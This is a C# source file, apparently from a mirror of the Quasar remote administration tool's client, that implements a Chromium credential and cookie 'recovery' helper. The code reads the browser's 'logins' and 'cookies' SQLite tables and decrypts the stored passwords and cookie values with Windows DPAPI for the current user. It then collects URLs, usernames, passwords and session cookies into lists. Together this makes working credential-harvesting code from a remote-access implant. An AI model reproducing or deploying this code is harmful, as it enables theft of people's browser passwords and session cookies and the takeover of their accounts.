mirror of https://github.com/quasar/Quasar.git
175 lines
5.9 KiB
C#
175 lines
5.9 KiB
C#
|
using System;
|
|||
|
using System.Collections.Generic;
|
|||
|
using System.Linq;
|
|||
|
using System.Text;
|
|||
|
using System.Security.Cryptography;
|
|||
|
using System.IO;
|
|||
|
|
|||
|
namespace xClient.Core.Recovery.Helper
|
|||
|
{
|
|||
|
public class ChromiumBase
|
|||
|
{
|
|||
|
public static List<LoginInfo> Passwords(string datapath, string browser)
|
|||
|
{
|
|||
|
List<LoginInfo> data = new List<LoginInfo>();
|
|||
|
SQLiteHandler SQLDatabase = null;
|
|||
|
|
|||
|
if (!File.Exists(datapath))
|
|||
|
return data;
|
|||
|
|
|||
|
try
|
|||
|
{
|
|||
|
SQLDatabase = new SQLiteHandler(datapath);
|
|||
|
}
|
|||
|
catch (Exception)
|
|||
|
{
|
|||
|
return data;
|
|||
|
}
|
|||
|
|
|||
|
if (!SQLDatabase.ReadTable("logins"))
|
|||
|
return data;
|
|||
|
|
|||
|
string host;
|
|||
|
string user;
|
|||
|
string pass;
|
|||
|
int totalEntries = SQLDatabase.GetRowCount();
|
|||
|
|
|||
|
for (int i = 0; i < totalEntries; i++)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
host = SQLDatabase.GetValue(i, "origin_url");
|
|||
|
user = SQLDatabase.GetValue(i, "username_value");
|
|||
|
pass = Decrypt(SQLDatabase.GetValue(i, "password_value"));
|
|||
|
|
|||
|
if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
|
|||
|
{
|
|||
|
data.Add(new LoginInfo
|
|||
|
{
|
|||
|
URL = host,
|
|||
|
Username = user,
|
|||
|
Password = pass,
|
|||
|
Browser = browser
|
|||
|
});
|
|||
|
}
|
|||
|
}
|
|||
|
catch (Exception)
|
|||
|
{
|
|||
|
// TODO: Exception handling
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
return data;
|
|||
|
}
|
|||
|
public static List<ChromiumCookie> Cookies(string dataPath, string browser)
|
|||
|
{
|
|||
|
string datapath = dataPath;
|
|||
|
|
|||
|
List<ChromiumCookie> data = new List<ChromiumCookie>();
|
|||
|
SQLiteHandler SQLDatabase = null;
|
|||
|
|
|||
|
if (!File.Exists(datapath))
|
|||
|
return data;
|
|||
|
try
|
|||
|
{
|
|||
|
SQLDatabase = new SQLiteHandler(datapath);
|
|||
|
}
|
|||
|
catch (Exception)
|
|||
|
{
|
|||
|
return data;
|
|||
|
}
|
|||
|
|
|||
|
if (!SQLDatabase.ReadTable("cookies"))
|
|||
|
return data;
|
|||
|
|
|||
|
string host;
|
|||
|
string name;
|
|||
|
string value;
|
|||
|
string path;
|
|||
|
string expires;
|
|||
|
string lastaccess;
|
|||
|
bool secure;
|
|||
|
bool http;
|
|||
|
bool expired;
|
|||
|
bool persistent;
|
|||
|
bool priority;
|
|||
|
|
|||
|
int totalEntries = SQLDatabase.GetRowCount();
|
|||
|
|
|||
|
for (int i = 0; i < totalEntries; i++)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
host = SQLDatabase.GetValue(i, "host_key");
|
|||
|
name = SQLDatabase.GetValue(i, "name");
|
|||
|
value = Decrypt(SQLDatabase.GetValue(i, "encrypted_value"));
|
|||
|
path = SQLDatabase.GetValue(i, "path");
|
|||
|
expires = SQLDatabase.GetValue(i, "expires_utc");
|
|||
|
lastaccess = SQLDatabase.GetValue(i, "last_access_utc");
|
|||
|
|
|||
|
secure = SQLDatabase.GetValue(i, "secure") == "1" ? true : false;
|
|||
|
http = SQLDatabase.GetValue(i, "httponly") == "1" ? true : false;
|
|||
|
expired = SQLDatabase.GetValue(i, "has_expired") == "1" ? true : false;
|
|||
|
persistent = SQLDatabase.GetValue(i, "persistent") == "1" ? true : false;
|
|||
|
priority = SQLDatabase.GetValue(i, "priority") == "1" ? true : false;
|
|||
|
|
|||
|
|
|||
|
if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(name) && value != null)
|
|||
|
{
|
|||
|
data.Add(new ChromiumCookie
|
|||
|
{
|
|||
|
HostKey = host,
|
|||
|
Name = name,
|
|||
|
Value = value,
|
|||
|
Path = path,
|
|||
|
ExpiresUTC = expires,
|
|||
|
LastAccessUTC = lastaccess,
|
|||
|
Secure = secure,
|
|||
|
HttpOnly = http,
|
|||
|
Expired = expired,
|
|||
|
Persistent = persistent,
|
|||
|
Priority = priority,
|
|||
|
Browser = browser
|
|||
|
|
|||
|
});
|
|||
|
}
|
|||
|
}
|
|||
|
catch (Exception)
|
|||
|
{
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
return data;
|
|||
|
}
|
|||
|
private static string Decrypt(string EncryptedData)
|
|||
|
{
|
|||
|
if (EncryptedData == null || EncryptedData.Length == 0)
|
|||
|
{
|
|||
|
return null;
|
|||
|
}
|
|||
|
byte[] decryptedData = ProtectedData.Unprotect(System.Text.Encoding.Default.GetBytes(EncryptedData), null, DataProtectionScope.CurrentUser);
|
|||
|
return Encoding.UTF8.GetString(decryptedData);
|
|||
|
}
|
|||
|
public class ChromiumCookie
|
|||
|
{
|
|||
|
public string HostKey { get; set; }
|
|||
|
public string Name { get; set; }
|
|||
|
public string Value { get; set; }
|
|||
|
public string Path { get; set; }
|
|||
|
public string ExpiresUTC { get; set; }
|
|||
|
public string LastAccessUTC { get; set; }
|
|||
|
public bool Secure { get; set; }
|
|||
|
public bool HttpOnly { get; set; }
|
|||
|
public bool Expired { get; set; }
|
|||
|
public bool Persistent { get; set; }
|
|||
|
public bool Priority { get; set; }
|
|||
|
public string Browser { get; set; }
|
|||
|
public override string ToString()
|
|||
|
{
|
|||
|
return String.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, HostKey, Name, Value, Path, Expired, HttpOnly, Secure);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|